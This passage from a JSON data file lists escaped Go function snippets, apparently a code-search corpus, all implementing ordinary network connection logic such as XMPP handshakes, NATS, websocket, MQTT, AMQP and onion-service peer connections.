xml.NewDecoder(conn)\\n\\n\\t// 2. Initialize xml decoder and extract streamID from reply\\n\\tstreamId, err := stanza.InitStream(c.decoder)\\n\\tif err != nil {\\n\\t\\treturn errors.New(\\\"cannot init decoder \\\" + err.Error())\\n\\t}\\n\\n\\t// 3. Authentication\\n\\tif _, err := fmt.Fprintf(conn, \\\"%s\\\", c.handshake(streamId)); err != nil {\\n\\t\\treturn errors.New(\\\"cannot send handshake \\\" + err.Error())\\n\\t}\\n\\n\\t// 4. Check server response for authentication\\n\\tval, err := stanza.NextPacket(c.decoder)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tswitch v := val.(type) {\\n\\tcase stanza.StreamError:\\n\\t\\treturn errors.New(\\\"handshake failed \\\" + v.Error.Local)\\n\\tcase stanza.Handshake:\\n\\t\\t// Start the receiver go routine\\n\\t\\tgo c.recv()\\n\\t\\treturn nil\\n\\tdefault:\\n\\t\\treturn errors.New(\\\"expecting handshake result, got \\\" + v.Name())\\n\\t}\\n}\",\n \"func (g *CastDevice) Connect(ctx context.Context) error {\\n\\treturn g.client.Connect(ctx)\\n}\",\n \"func (n *Network) SendMessage(message Message) (err error) {\\n\\t//syncMutex.Lock()\\n\\t//defer syncMutex.Unlock()\\n\\n\\tif message.To == n.Myself.ID {\\n\\t\\tn.ReceiveChan <- message\\n\\t\\treturn nil\\n\\t}\\n\\n\\tmessageByte, err := json.Marshal(message) //func(v interface{}) ([]byte, error)\\n\\tif err != nil {\\n\\t\\tlog.Print(err)\\n\\t\\treturn err\\n\\t}\\n\\tremoteConn := n.Connections[message.To]\\n\\tif remoteConn == nil {\\n\\t\\t//fmt.Printf(\\\"Connection to node %d isnt present in n.Connections\\\\n\\\", message.To)\\n\\t\\treturn fmt.Errorf(\\\"No TCP connection to node %d in Connection Table\\\", message.To)\\n\\t}\\n\\tif message.Type != \\\"Heartbeat\\\" { //Remove 1 to block printing of HB messages\\n\\t\\t//fmt.Printf(\\\"SendMessage: From: %v (%d) To: %v (%d) Message: %v\\\\n\\\", remoteConn.LocalAddr(), n.Myself.ID, remoteConn.RemoteAddr(), message.To, message)\\n\\t}\\n\\t_, err = n.Connections[message.To].Write(messageByte)\\n\\tif err != nil {\\n\\t\\tlog.Print(err)\\n\\t\\t//Assumes the connection is broken (write: broken pipe)\\n\\t\\tn.CloseConn(n.Connections[message.To])\\n\\t\\treturn err\\n\\t}\\n\\treturn err\\n}\",\n \"func (ss *sessionState) OnConnect(ctx context.Context, stream tunnel.Stream) (tunnel.Endpoint, error) {\\n\\tid := stream.ID()\\n\\tss.Lock()\\n\\tabp, ok := ss.awaitingBidiPipeMap[id]\\n\\tif ok {\\n\\t\\tdelete(ss.awaitingBidiPipeMap, id)\\n\\t}\\n\\tss.Unlock()\\n\\n\\tif !ok {\\n\\t\\treturn nil, nil\\n\\t}\\n\\tdlog.Debugf(ctx, \\\" FWD %s, connect session %s with %s\\\", id, abp.stream.SessionID(), stream.SessionID())\\n\\tbidiPipe := tunnel.NewBidiPipe(abp.stream, stream)\\n\\tbidiPipe.Start(ctx)\\n\\n\\tdefer close(abp.bidiPipeCh)\\n\\tselect {\\n\\tcase <-ss.done:\\n\\t\\treturn nil, status.Error(codes.Canceled, \\\"session cancelled\\\")\\n\\tcase abp.bidiPipeCh <- bidiPipe:\\n\\t\\treturn bidiPipe, nil\\n\\t}\\n}\",\n \"func (s *StanServer) connectCB(m *nats.Msg) {\\n\\treq := &pb.ConnectRequest{}\\n\\terr := req.Unmarshal(m.Data)\\n\\tif err != nil || req.HeartbeatInbox == \\\"\\\" {\\n\\t\\ts.log.Errorf(\\\"[Client:?] Invalid conn request: ClientID=%s, Inbox=%s, err=%v\\\",\\n\\t\\t\\treq.ClientID, req.HeartbeatInbox, err)\\n\\t\\ts.sendConnectErr(m.Reply, ErrInvalidConnReq.Error())\\n\\t\\treturn\\n\\t}\\n\\tif !clientIDRegEx.MatchString(req.ClientID) {\\n\\t\\ts.log.Errorf(\\\"[Client:%s] Invalid ClientID, only alphanumeric and `-` or `_` characters allowed\\\", req.ClientID)\\n\\t\\ts.sendConnectErr(m.Reply, ErrInvalidClientID.Error())\\n\\t\\treturn\\n\\t}\\n\\n\\t// If the client ID is already registered, check to see if it's the case\\n\\t// that the client refreshed (e.g. it crashed and came back) or if the\\n\\t// connection is a duplicate. If it refreshed, we will close the old\\n\\t// client and open a new one.\\n\\tclient := s.clients.lookup(req.ClientID)\\n\\tif client != nil {\\n\\t\\t// When detecting a duplicate, the processing of the connect request\\n\\t\\t// is going to be processed in a go-routine. We need however to keep\\n\\t\\t// track and fail another request on the same client ID until the\\n\\t\\t// current one has finished.\\n\\t\\ts.cliDupCIDsMu.Lock()\\n\\t\\tif _, exists := s.cliDipCIDsMap[req.ClientID]; exists {\\n\\t\\t\\ts.cliDupCIDsMu.Unlock()\\n\\t\\t\\ts.log.Debugf(\\\"[Client:%s] Connect failed; already connected\\\", req.ClientID)\\n\\t\\t\\ts.sendConnectErr(m.Reply, ErrInvalidClient.Error())\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\ts.cliDipCIDsMap[req.ClientID] = struct{}{}\\n\\t\\ts.cliDupCIDsMu.Unlock()\\n\\n\\t\\ts.startGoRoutine(func() {\\n\\t\\t\\tdefer s.wg.Done()\\n\\t\\t\\tisDup := false\\n\\t\\t\\tif s.isDuplicateConnect(client) {\\n\\t\\t\\t\\ts.log.Debugf(\\\"[Client:%s] Connect failed; already connected\\\", req.ClientID)\\n\\t\\t\\t\\ts.sendConnectErr(m.Reply, ErrInvalidClient.Error())\\n\\t\\t\\t\\tisDup = true\\n\\t\\t\\t}\\n\\t\\t\\ts.cliDupCIDsMu.Lock()\\n\\t\\t\\tif !isDup {\\n\\t\\t\\t\\ts.handleConnect(req, m, true)\\n\\t\\t\\t}\\n\\t\\t\\tdelete(s.cliDipCIDsMap, req.ClientID)\\n\\t\\t\\ts.cliDupCIDsMu.Unlock()\\n\\t\\t})\\n\\t\\treturn\\n\\t}\\n\\ts.cliDupCIDsMu.Lock()\\n\\ts.handleConnect(req, m, false)\\n\\ts.cliDupCIDsMu.Unlock()\\n}\",\n \"func (c *Contact) connectOutbound(ctx context.Context, connChannel chan *connection.Connection) {\\n\\tc.mutex.Lock()\\n\\tconnector := OnionConnector{\\n\\t\\tNetwork: c.core.Network,\\n\\t\\tNeverGiveUp: true,\\n\\t}\\n\\thostname, _ := OnionFromAddress(c.data.Address)\\n\\tisRequest := c.data.Request != nil\\n\\tc.mutex.Unlock()\\n\\n\\tfor {\\n\\t\\tconn, err := connector.Connect(hostname+\\\":9878\\\", ctx)\\n\\t\\tif err != nil {\\n\\t\\t\\t// The only failure here should be context, because NeverGiveUp\\n\\t\\t\\t// is set, but be robust anyway.\\n\\t\\t\\tif ctx.Err() != nil {\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\n\\t\\t\\tlog.Printf(\\\"Contact connection failure: %s\\\", err)\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\t// XXX-protocol Ideally this should all take place under ctx also; easy option is a goroutine\\n\\t\\t// blocked on ctx that kills the connection.\\n\\t\\tlog.Printf(\\\"Successful outbound connection to contact %s\\\", hostname)\\n\\t\\toc, err := protocol.NegotiateVersionOutbound(conn, hostname[0:16])\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Printf(\\\"Outbound connection version negotiation failed: %v\\\", err)\\n\\t\\t\\tconn.Close()\\n\\t\\t\\tif err := connector.Backoff(ctx); err != nil {\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\tlog.Printf(\\\"Outbound connection negotiated version; authenticating\\\")\\n\\t\\tprivateKey := c.core.Identity.PrivateKey()\\n\\t\\tknown, err := connection.HandleOutboundConnection(oc).ProcessAuthAsClient(&privateKey)\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Printf(\\\"Outbound connection authentication failed: %v\\\", err)\\n\\t\\t\\tcloseUnhandledConnection(oc)\\n\\t\\t\\tif err := connector.Backoff(ctx); err != nil {\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\tif !known && !isRequest {\\n\\t\\t\\tlog.Printf(\\\"Outbound connection to contact says we are not a known contact for %v\\\", c)\\n\\t\\t\\t// XXX Should move to rejected status, stop attempting connections.\\n\\t\\t\\tcloseUnhandledConnection(oc)\\n\\t\\t\\tif err := connector.Backoff(ctx); err != nil {\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t\\tcontinue\\n\\t\\t} else if known && isRequest {\\n\\t\\t\\tlog.Printf(\\\"Contact request implicitly accepted for outbound connection by contact %v\\\", c)\\n\\t\\t\\tc.UpdateContactRequest(\\\"Accepted\\\")\\n\\t\\t\\tisRequest = false\\n\\t\\t}\\n\\n\\t\\tif isRequest {\\n\\t\\t\\t// Need to send a contact request; this will block until the peer accepts or rejects,\\n\\t\\t\\t// the connection fails, or the context is cancelled (which also closes the connection).\\n\\t\\t\\tif err := c.sendContactRequest(oc, ctx); err != nil {\\n\\t\\t\\t\\tlog.Printf(\\\"Outbound contact request connection closed: %s\\\", err)\\n\\t\\t\\t\\tif err := connector.Backoff(ctx); err != nil {\\n\\t\\t\\t\\t\\treturn\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tlog.Printf(\\\"Outbound contact request accepted, assigning connection\\\")\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tlog.Printf(\\\"Assigning outbound connection to contact\\\")\\n\\t\\tc.AssignConnection(oc)\\n\\t\\tbreak\\n\\t}\\n}\",\n \"func (l *LogWriter) connect() {\\n\\tif l.connecting {\\n\\t\\treturn\\n\\t}\\n\\tl.connecting = true\\n\\tvar err error\\n\\tfor l.conn == nil {\\n\\t\\tl.conn, err = net.Dial(\\\"tcp\\\", l.Addr)\\n\\t\\tif err != nil {\\n\\t\\t\\ttime.Sleep(time.Second)\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\terr = l.sendMsg([]byte(fmt.Sprintf(\\\"!!cutelog!!format=%s\\\", l.Format)))\\n\\t\\tif err != nil {\\n\\t\\t\\tl.Close()\\n\\t\\t}\\n\\t}\\n\\tl.connecting = false\\n}\",\n \"func (client *ChatClient) Connect() {\\n\\t// create the initial client connection descriptor targeting the chat server\\n\\tclient.internal = &nan0.Service{\\n\\t\\tHostName: *Host,\\n\\t\\tPort: int32(*Port),\\n\\t\\tServiceType: \\\"Chat\\\",\\n\\t\\tServiceName: \\\"ChatServer\\\",\\n\\t\\tStartTime: time.Now().Unix(),\\n\\t\\tExpired: false,\\n\\t}\\n\\n\\t// create another random user id\\n\\tnewUserId := random.Int63()\\n\\t// use this auto-generated username unless a custom username has been assigned\\n\\tclient.user = &User{\\n\\t\\tUserName: fmt.Sprintf(\\\"Connected_User#%v\\\\n\\\", newUserId),\\n\\t}\\n\\tif *CustomUsername != \\\"\\\" {\\n\\t\\tclient.user.SetUserName(*CustomUsername)\\n\\t}\\n\\n\\t// convert the base64 keys to usable byte arrays\\n\\tencKey, authKey := KeysToNan0Bytes(*EncryptKey, *Signature)\\n\\n\\t// connect to the server securely\\n\\tnan0chat, err := client.internal.DialNan0Secure(encKey, authKey).\\n\\t\\tReceiveBuffer(1).\\n\\t\\tSendBuffer(0).\\n\\t\\tAddMessageIdentity(new(ChatMessage)).\\n\\tBuild()\\n\\t// close the connection when this application closes\\n\\tdefer nan0chat.Close()\\n\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\n\\t// get the channels used to communicate with the server\\n\\tserviceReceiver := nan0chat.GetReceiver()\\n\\tserviceSender := nan0chat.GetSender()\\n\\n\\t// create and start a new UI\\n\\tvar chatClientUI ChatClientUI\\n\\t// create a message channel for passing ui message to backend and to server\\n\\tmessageChannel := make(chan string)\\n\\tgo chatClientUI.Start(fmt.Sprintf(\\\"@%v: \\\", client.user.UserName), messageChannel)\\n\\n\\tfor {\\n\\t\\tselect {\\n\\t\\t// when a new message comes in, handle it\\n\\t\\tcase m := <-serviceReceiver:\\n\\t\\t\\tif message, ok := m.(*ChatMessage); ok {\\n\\t\\t\\t\\tchatClientUI.outputBox.addMessage(message.Message)\\n\\t\\t\\t}\\n\\t\\t// when a new message is generated in the UI, broadcast it\\n\\t\\tcase newmsg := <-messageChannel:\\n\\t\\t\\tserviceSender <- &ChatMessage{\\n\\t\\t\\t\\tMessage: newmsg,\\n\\t\\t\\t\\tTime: time.Now().Unix(),\\n\\t\\t\\t\\tMessageId: random.Int63(),\\n\\t\\t\\t\\tUserId: random.Int63(),\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n}\",\n \"func (r *Rmq) Connect() {\\n\\tconn, err := amqp.Dial(r.uri)\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\tr.conn = conn\\n\\n\\tch, err := conn.Channel()\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\tr.ch = ch\\n}\",\n \"func connectWebsocket(port string) {\\n\\tfor {\\n\\t\\tvar err error\\n\\t\\tServerIP = utils.DiscoverServer()\\n\\t\\tif ServerIP == \\\"\\\" {\\n\\t\\t\\tlogger.WithFields(logger.Fields{}).Debugf(\\\"Wait 5 seconds to redail...\\\")\\n\\t\\t\\ttime.Sleep(time.Second * 5)\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\tu := url.URL{Scheme: \\\"ws\\\", Host: ServerIP + \\\":\\\" + os.Getenv(\\\"CASA_SERVER_PORT\\\"), Path: \\\"/v1/ws\\\"}\\n\\t\\tWS, _, err = websocket.DefaultDialer.Dial(u.String(), nil)\\n\\t\\tif err != nil {\\n\\t\\t\\tlogger.WithFields(logger.Fields{\\\"code\\\": \\\"CGGWCCW001\\\"}).Errorf(\\\"%s\\\", err.Error())\\n\\t\\t\\tlogger.WithFields(logger.Fields{}).Debugf(\\\"Wait 5 seconds to redail...\\\")\\n\\t\\t\\ttime.Sleep(time.Second * 5)\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\tbreak\\n\\t}\\n\\n\\taddr := strings.Split(WS.LocalAddr().String(), \\\":\\\")[0]\\n\\tmessage := WebsocketMessage{\\n\\t\\tAction: \\\"newConnection\\\",\\n\\t\\tBody: []byte(addr + \\\":\\\" + port),\\n\\t}\\n\\tbyteMessage, _ := json.Marshal(message)\\n\\terr := WS.WriteMessage(websocket.TextMessage, byteMessage)\\n\\tif err != nil {\\n\\t\\tlogger.WithFields(logger.Fields{\\\"code\\\": \\\"CGGWCCW002\\\"}).Errorf(\\\"%s\\\", err.Error())\\n\\t\\treturn\\n\\t}\\n\\tlogger.WithFields(logger.Fields{}).Debugf(\\\"Websocket connected!\\\")\\n}\",\n \"func (ms *MqttSocket) Connect() error {\\n\\tms.client = mqtt.NewClient(ms.options)\\n\\tif token := ms.client.Connect(); token.Wait() && token.Error() != nil {\\n\\t\\treturn token.Error()\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *MajsoulChannel) Connect(url string) error {\\n\\tm.mutexChannel.Lock()\\n\\tif m.isopen {\\n\\t\\tm.mutexChannel.Unlock()\\n\\t\\treturn errors.New(\\\"error: already connected\\\")\\n\\t}\\n\\n\\tvar err error\\n\\tm.Connection, _, err = websocket.DefaultDialer.Dial(url, nil)\\n\\n\\tif err != nil {\\n\\t\\tm.mutexChannel.Unlock()\\n\\t\\treturn err\\n\\t}\\n\\n\\tdefer m.Connection.Close()\\n\\n\\tm.isopen = true\\n\\tm.stop = make(chan struct{}, 1)\\n\\tinterrupt := make(chan os.Signal, 1)\\n\\tsignal.Notify(interrupt, os.Interrupt)\\n\\n\\tm.Connection.SetPongHandler(m.pongHandler)\\n\\n\\tgo m.recvMsg(m.stop)\\n\\tgo m.sendMsg(m.stop)\\n\\tgo m.sustain(m.stop)\\n\\n\\tlog.Println(\\\"Successfully connected to\\\", url)\\n\\n\\tm.mutexChannel.Unlock()\\n\\n\\tfor {\\n\\t\\tselect {\\n\\t\\tcase <-interrupt:\\n\\t\\t\\tm.Close(errors.New(\\\"connection terminated by interrupt signal\\\"))\\n\\t\\t\\treturn m.ExitValue()\\n\\t\\tcase <-m.stop:\\n\\t\\t\\treturn m.ExitValue()\\n\\t\\tcase msg := <-m.notifications:\\n\\t\\t\\tif m.notificationHandler != nil {\\n\\t\\t\\t\\tgo m.notificationHandler(msg)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n}\",\n \"func (s *Server) Connect(client *Client) {\\n s.Clients.Store(client.Id, client)\\n\\n s.GM.Log.Debugf(\\\"Connecting new client %s\\\", client.Id)\\n\\n go client.Conn.Reader(client, s)\\n go client.Conn.Writer(client, s)\\n\\n s.GM.FireEvent(NewDirectEvent(\\\"connected\\\", client, client.Id))\\n}\",\n \"func (c *Client) Broadcast() {\\n\\tticker := time.NewTicker(pingPeriod)\\n\\n\\tdefer func() {\\n\\t\\tticker.Stop()\\n\\t\\tc.conn.Close()\\n\\t}()\\n\\n\\tfor {\\n\\t\\tselect {\\n\\t\\tcase message, ok := <-c.send:\\n\\t\\t\\tc.sendMessage(message, ok)\\n\\t\\tcase <-ticker.C:\\n\\t\\t\\tc.conn.SetWriteDeadline(time.Now().Add(writeWait))\\n\\t\\t\\tif err := c.conn.WriteMessage(websocket.PingMessage, nil); nil != err {\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n}\",\n \"func (conn *Connection) PushToRoom(room *Room) {\\n\\tif conn.done() {\\n\\t\\treturn\\n\\t}\\n\\tconn.wGroup.Add(1)\\n\\tdefer func() {\\n\\t\\tconn.wGroup.Done()\\n\\t}()\\n\\n\\tconn.setRoom(room)\\n}\",\n \"func (pool *CigwPool) SendMessage(message string) <-chan string {\\n\\tresult := make(chan string)\\n\\ttimeout := make(chan bool, 1)\\n\\tgo func() {\\n\\t\\ttime.Sleep(1 * time.Second)\\n\\t\\ttimeout <- true\\n\\t}()\\n\\n\\tvar conn *cigwConn\\n\\tselect {\\n\\tcase conn = <-pool.poolMember:\\n\\t\\tbreak\\n\\tcase <-timeout:\\n\\t\\tconn = constructConn()\\n\\t\\tif !conn.isReady {\\n\\t\\t\\tresult <- \\\"connection is not ready\\\"\\n\\t\\t\\tpool.release(conn)\\n\\t\\t\\tclose(result)\\n\\t\\t\\treturn result\\n\\t\\t}\\n\\t}\\n\\n\\tgo func() {\\n\\t\\tif !conn.isReady {\\n\\t\\t\\tresult <- \\\"connection is not ready\\\"\\n\\t\\t\\tpool.release(conn)\\n\\t\\t\\tclose(result)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\t_, writeErr := conn.conn.Write([]byte(message))\\n\\t\\tconn.conn.SetReadDeadline(time.Now().Add(25 * time.Second))\\n\\t\\tvar buff = make([]byte, 1263)\\n\\n\\t\\t_, readErr := io.ReadFull(conn.conn, buff)\\n\\n\\t\\tif timeoutErr, ok := readErr.(net.Error); ok && timeoutErr.Timeout() {\\n\\t\\t\\tconn.markAsDestroy = true\\n\\t\\t\\tconn.brokenListener <- timeoutErr\\n\\t\\t\\tresult <- \\\"timeout\\\"\\n\\t\\t\\tnewConn := constructConn()\\n\\t\\t\\tpool.release(newConn)\\n\\t\\t\\tclose(result)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tif writeErr != nil || readErr != nil {\\n\\t\\t\\tconn.brokenListener <- errors.New(\\\"connection broken\\\")\\n\\t\\t\\tresult <- \\\"connection broken\\\"\\n\\t\\t\\tpool.release(conn)\\n\\t\\t\\tclose(result)\\n\\t\\t} else {\\n\\t\\t\\tresult <- string(buff)\\n\\t\\t\\tpool.release(conn)\\n\\t\\t\\tclose(result)\\n\\t\\t}\\n\\n\\t}()\\n\\n\\treturn result\\n}\",\n \"func (c *client) Connect(ctx context.Context) error {\\n\\tif ctx == nil {\\n\\t\\tctx = context.Background()\\n\\t}\\n\\tc.ctx = ctx\\n\\n\\tremote := c.cfg.GetURL()\\n\\n\\tvar subList []string\\n\\n\\tfor topic := range c.SubscribedTopics {\\n\\t\\tif IsPublicTopic(topic) {\\n\\t\\t\\tc.createCache(topic)\\n\\n\\t\\t\\tsubList = append(subList, c.normalizeTopic(topic))\\n\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\tif IsPrivateTopic(topic) && c.hasAuth() {\\n\\t\\t\\tc.createCache(topic)\\n\\n\\t\\t\\tsubList = append(subList, c.normalizeTopic(topic))\\n\\t\\t}\\n\\t}\\n\\n\\tif len(subList) > 0 {\\n\\t\\tremote.RawQuery = \\\"subscribe=\\\" + strings.Join(subList, \\\",\\\")\\n\\t}\\n\\n\\tlog.Info(\\\"Connecting to: \\\", remote.String())\\n\\n\\tconn, rsp, err := websocket.DefaultDialer.DialContext(\\n\\t\\tctx, remote.String(), c.getHeader())\\n\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"Fail to connect[%s]: %v, %v\\\",\\n\\t\\t\\tremote.String(), err, rsp)\\n\\t}\\n\\n\\tdefer func() {\\n\\t\\tgo c.messageHandler()\\n\\t\\tgo c.heartbeatHandler()\\n\\t}()\\n\\n\\tc.ws = conn\\n\\tc.connected = true\\n\\tc.ws.SetCloseHandler(c.closeHandler)\\n\\n\\treturn nil\\n}\",\n \"func (conn *Connection) Launch(ws config.WebSocketSettings, roomID string) {\\n\\n\\t// dont place there conn.wGroup.Add(1)\\n\\tif conn.lobby == nil || conn.lobby.context == nil {\\n\\t\\tfmt.Println(\\\"lobby nil or hasnt context!\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tall := &sync.WaitGroup{}\\n\\n\\tfmt.Println(\\\"JoinConn!\\\")\\n\\tconn.lobby.JoinConn(conn, 3)\\n\\tall.Add(1)\\n\\tgo conn.WriteConn(conn.context, ws, all)\\n\\tall.Add(1)\\n\\tgo conn.ReadConn(conn.context, ws, all)\\n\\n\\t//fmt.Println(\\\"Wait!\\\")\\n\\tif roomID != \\\"\\\" {\\n\\t\\trs := &models.RoomSettings{}\\n\\t\\trs.ID = roomID\\n\\t\\tconn.lobby.EnterRoom(conn, rs)\\n\\t}\\n\\tall.Wait()\\n\\tfmt.Println(\\\"conn finished\\\")\\n\\tconn.lobby.Leave(conn, \\\"finished\\\")\\n\\tconn.Free()\\n}\",\n \"func (l *Writer) connect() error {\\n\\tif l.writer != nil {\\n\\t\\tl.writer.Close()\\n\\t\\tl.writer = nil\\n\\t}\\n\\n\\tc, err := net.Dial(\\\"udp\\\", l.raddr)\\n\\tif err == nil {\\n\\t\\tl.writer = c\\n\\t}\\n\\treturn err\\n}\",\n \"func broadcastWebSocket(outChannel chan string, ws *websocket.Conn) {\\n\\n for {\\n select {\\n case data := <-outChannel:\\n ws.WriteMessage(websocket.TextMessage, []byte(data))\\n break\\n }\\n }\\n}\",\n \"func (rhost *rhostData) cmdConnectR(rec *receiveData) {\\n\\n\\t// Replay to address we got from peer\\n\\trhost.teo.sendToTcd(rec.tcd, CmdNone, []byte{0})\\n\\n\\tptr := 1 // pointer to first IP\\n\\tfrom := rec.rd.From() // from\\n\\tdata := rec.rd.Data() // received data\\n\\tnumIP := data[0] // number of received IPs\\n\\tport := int(C.getPort(unsafe.Pointer(&data[0]), C.size_t(len(data))))\\n\\n\\t// Create data buffer to resend to peers\\n\\t// data structure: <0 byte> <0 byte> \\n\\tmakeData := func(from, addr string, port int) []byte {\\n\\t\\tbuf := new(bytes.Buffer)\\n\\t\\tbinary.Write(buf, binary.LittleEndian, []byte(from))\\n\\t\\tbinary.Write(buf, binary.LittleEndian, byte(0))\\n\\t\\tbinary.Write(buf, binary.LittleEndian, []byte(addr))\\n\\t\\tbinary.Write(buf, binary.LittleEndian, byte(0))\\n\\t\\tbinary.Write(buf, binary.LittleEndian, uint32(port))\\n\\t\\treturn buf.Bytes()\\n\\t}\\n\\n\\t// Send received IPs to this peer child(connected peers)\\n\\tfor i := 0; i <= int(numIP); i++ {\\n\\t\\tvar caddr *C.char\\n\\t\\tif i == 0 {\\n\\t\\t\\tclocalhost := append([]byte(localhostIP), 0)\\n\\t\\t\\tcaddr = (*C.char)(unsafe.Pointer(&clocalhost[0]))\\n\\t\\t} else {\\n\\t\\t\\tcaddr = (*C.char)(unsafe.Pointer(&data[ptr]))\\n\\t\\t\\tptr += int(C.strlen(caddr)) + 1\\n\\t\\t}\\n\\t\\taddr := C.GoString(caddr)\\n\\n\\t\\t// Send connected(who send this command) peer local IP address and port to\\n\\t\\t// all this host child\\n\\t\\tfor peer, arp := range rhost.teo.arp.m {\\n\\t\\t\\tif arp.mode != -1 && peer != from {\\n\\t\\t\\t\\trhost.teo.SendTo(peer, CmdConnect, makeData(from, addr, port))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\t// Send connected(who send this command) peer IP address and port(defined by\\n\\t// this host) to all this host child\\n\\tfor peer, arp := range rhost.teo.arp.m {\\n\\t\\tif arp.mode != -1 && peer != from {\\n\\t\\t\\trhost.teo.SendTo(peer, CmdConnect,\\n\\t\\t\\t\\tmakeData(from, rec.tcd.GetAddr().IP.String(), rec.tcd.GetAddr().Port))\\n\\t\\t\\t// \\\\TODO: the discovery channel created here (issue #15)\\n\\t\\t}\\n\\t}\\n\\n\\t// Send all child IP address and port to connected(who send this command) peer\\n\\tfor peer, arp := range rhost.teo.arp.m {\\n\\t\\tif arp.mode != -1 && peer != from {\\n\\t\\t\\trhost.teo.sendToTcd(rec.tcd, CmdConnect,\\n\\t\\t\\t\\tmakeData(peer, arp.tcd.GetAddr().IP.String(), arp.tcd.GetAddr().Port))\\n\\t\\t}\\n\\t}\\n\\t//teolog.Debug(MODULE, \\\"CMD_CONNECT_R command processed, from:\\\", rec.rd.From())\\n\\trhost.teo.com.log(rec.rd, \\\"CMD_CONNECT_R command processed\\\")\\n}\",\n \"func (w *BaseWebsocketClient) OnConnecting() {}\",\n \"func (peer *PeerConnection) readConnectionPump(sock *NamedWebSocket) {\\n\\tdefer func() {\\n\\t\\tpeer.removeConnection(sock)\\n\\t}()\\n\\tpeer.ws.SetReadLimit(maxMessageSize)\\n\\tpeer.ws.SetReadDeadline(time.Now().Add(pongWait))\\n\\tpeer.ws.SetPongHandler(func(string) error { peer.ws.SetReadDeadline(time.Now().Add(pongWait)); return nil })\\n\\tfor {\\n\\t\\topCode, message, err := peer.ws.ReadMessage()\\n\\t\\tif err != nil || opCode != websocket.TextMessage {\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\n\\t\\t//log.Printf(\\\"Received Peer Message: %s\\\",message)\\n\\n\\t\\twsBroadcast := &Message{\\n\\t\\t\\tsource: peer.id,\\n\\t\\t\\ttarget: 0, // target all connections\\n\\t\\t\\tpayload: string(message),\\n\\t\\t\\tfromProxy: false,\\n\\t\\t}\\n\\t\\tvar notiRecived bool = false\\n\\n\\t\\tfor e := peerNotifiedList.Front(); e != nil; e=e.Next() {\\n\\t\\t\\tif(string(message)==e.Value.(string)){\\n\\t\\t\\t\\tnotiRecived = true\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\t//create notifications with the url for linux and android\\n\\t\\tif(strings.Contains(string(message),\\\"http://\\\")&&!notiRecived){\\n\\t\\t\\t\\n\\t\\t\\tpeerNotifiedList.PushBack(string(message))\\n\\t\\t\\tproxyNotifiedList.PushBack(string(message))\\n\\t\\t\\t\\n\\t\\t\\tif peer.id!=sock.controllers[0].id {\\n\\n\\t\\t\\t\\tpath, err2 := filepath.Abs(\\\"Mediascape.png\\\")\\n\\t\\t\\t\\tif err2 != nil {\\n\\t\\t\\t\\t\\tlog.Fatal(err)\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t//log.Printf(\\\"Notification %s\\\", path)\\n\\t\\n\\t\\t\\t\\tnotify = notificator.New(notificator.Options{\\n\\t\\t\\t\\t\\tDefaultIcon: path,\\n\\t\\t\\t\\t\\tAppName: \\\"Mediascape\\\",\\n\\t\\t\\t\\t})\\n\\t\\n\\t\\t\\t\\tif(string(runtime.GOOS)==\\\"linux\\\"&&string(runtime.GOARCH)!=\\\"arm\\\"){\\n\\t\\t\\t\\t\\tnotify.Push(\\\"Mediascape\\\", string(message), path)\\n\\t\\t\\t\\t}else if(string(runtime.GOOS)==\\\"linux\\\"&&string(runtime.GOARCH)==\\\"arm\\\"){\\n\\t\\t\\t\\t\\tcompletUrl := fmt.Sprintf(\\\"http://localhost:8182/discoveryagent/notification?url=%s\\\", string(message))\\n\\t\\t\\t\\t\\tresponse, err := http.Get(completUrl)\\n\\t\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\t\\t// handle error\\n\\t\\t\\t\\t\\t\\tlog.Printf(\\\"Error: %s\\\",err)\\n\\t\\t\\t\\t\\t}else{\\n\\t\\t\\t\\t\\t\\tdefer response.Body.Close()\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tsock.broadcastBuffer <- wsBroadcast\\n\\t}\\n}\",\n \"func (hub *Hub) Join(conn net.Conn) {\\n\\tclient := NewClient(conn)\\n\\thub.numClients++\\n\\tclientID := strconv.Itoa(hub.numClients)\\n\\thub.clientMap[clientID] = client\\n\\tgo func() {\\n\\t\\tfor {\\n\\t\\t\\thub.outboundMessage <- <-client.inboundMessage\\n\\t\\t}\\n\\t}()\\n}\",\n \"func (this *Client) AwaitConnect() {\\n\\tthis.getConsumerConnection().awaitConnection()\\n\\tthis.getPublisherConnection().awaitConnection()\\n}\",\n \"func (m *Mock) Connected(_ 